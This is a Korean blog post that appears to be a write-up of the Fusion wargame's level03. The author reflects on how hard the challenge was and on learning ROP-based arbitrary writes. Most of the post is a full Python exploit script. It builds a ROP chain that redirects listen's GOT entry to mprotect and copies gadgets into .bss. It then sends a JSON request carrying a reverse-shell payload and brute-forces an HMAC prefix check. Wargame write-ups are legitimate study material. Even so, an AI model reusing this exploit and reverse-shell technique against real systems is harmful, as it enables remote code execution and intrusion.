완전 어려웠다. 진짜 짱짱 어려웠다. 취약점 자체도 예상하지 못한거였는데 익스플로잇 하는 거도 어려웠다.. 마지막에는 풀이도 살짝 참고해서 풀어서 좀 아쉬웠다ㅠㅠㅠ 레벨4는 절대 풀이 꼭 안보고 풀어봐야겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | from SunKn0wn import * import hmac import itertools r = remote('192.168.179.151', 20003) table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" gadget = [0x8048b24, 0x8049470, 0x8049c50, 0x8049690, # listen_plt(overwirtten by mprotect) 0x8048179, 0x8049591, 0x8049c50, 0x8049690, # pppr 0x8048158, 0x80488b4, 0x8048b91, 0x8049ca2, # 0x09335000(allocated heap) 0x8048158, 0x80488fc, 0x8048158, 0x8048158, # 0x1000 0x80491e0, 0x80481d4, 0x80481d4, 0x80481d4, # 7 0x8049430, 0x8049460, 0x8048b91, 0x8049ca2] # allocated heap(0x093357d0) memcpy_plt = 0x08048E60 listen_got = 0x0804BD24 popebpret = 0x804a26f leaveret = 0x8049431 offset = 0xFFFFAF70 pppr = 0x804a26d bss = 0x0804BDC0 pop_eax = 0x08049b4f pop_ebx = 0x08049a4f add_ebx = 0x080493fe token = r.recv(1024)[1:-2] ################ overwrite listen to mprotect ################ attack = '' attack += p32(pop_eax) attack += p32(offset) attack += 'A' * 0x5c attack += p32(pop_ebx) attack += p32((listen_got - 0x5d5b04c4) & 0xffffffff) attack += p32(add_ebx) ################ call listen(mprotect) payload ################ for i in range(len(gadget)): attack += p32(memcpy_plt) attack += p32(pppr) attack += p32(bss + i) attack += p32(gadget[i]) attack += "\\\\u0100\\\\u0000" attack += p32(popebpret) attack += p32(bss - 4) attack += p32(leaveret) payload = 'A' * 127 payload += '\\\\u4141' payload += 'A' * 31 payload += attack payload2 = token + '\n' payload2 += '{"title":"' + payload + '", ' payload2 += '"contents":"' + ReverseShell32 + '", ' payload2 += '"collision":"5unKn0wn' ################ making validate request ################ for col in itertools.product(table, repeat=4): send = payload2 + ''.join(col) + '"}' hash = hmac.new(token, send, hashlib.sha1) if hash.hexdigest()[:4] == "0000": print "[*]Find! : " + send print "[*]hash : " + hash.hexdigest() break r.send(send) | cs |
ROP 가젯 이용해서 arbitrary write를 해 본적은 처음이어서 더 신기했다. 그리고 나는 아직 ROP에 대해서 확실하게 알고 있지 않았었던 거라는 것을 깨달았다. NULL 처리해 주는 거랑 마지막으로 mprotect는 0x1000단위로 떨어지는 메모리 단위로 인자를 넣어줘야 되는 것 때문에 고생 좀 했다.. 레벨 4가 근심걱정이 가득하다.
'Wargames > fusion' 카테고리의 다른 글
fusion level04 (0) | 2016.04.28 |
---|---|
fusion level02 (0) | 2016.04.20 |
fusion level01 (0) | 2016.04.15 |
fusion level00 (2) | 2016.04.15 |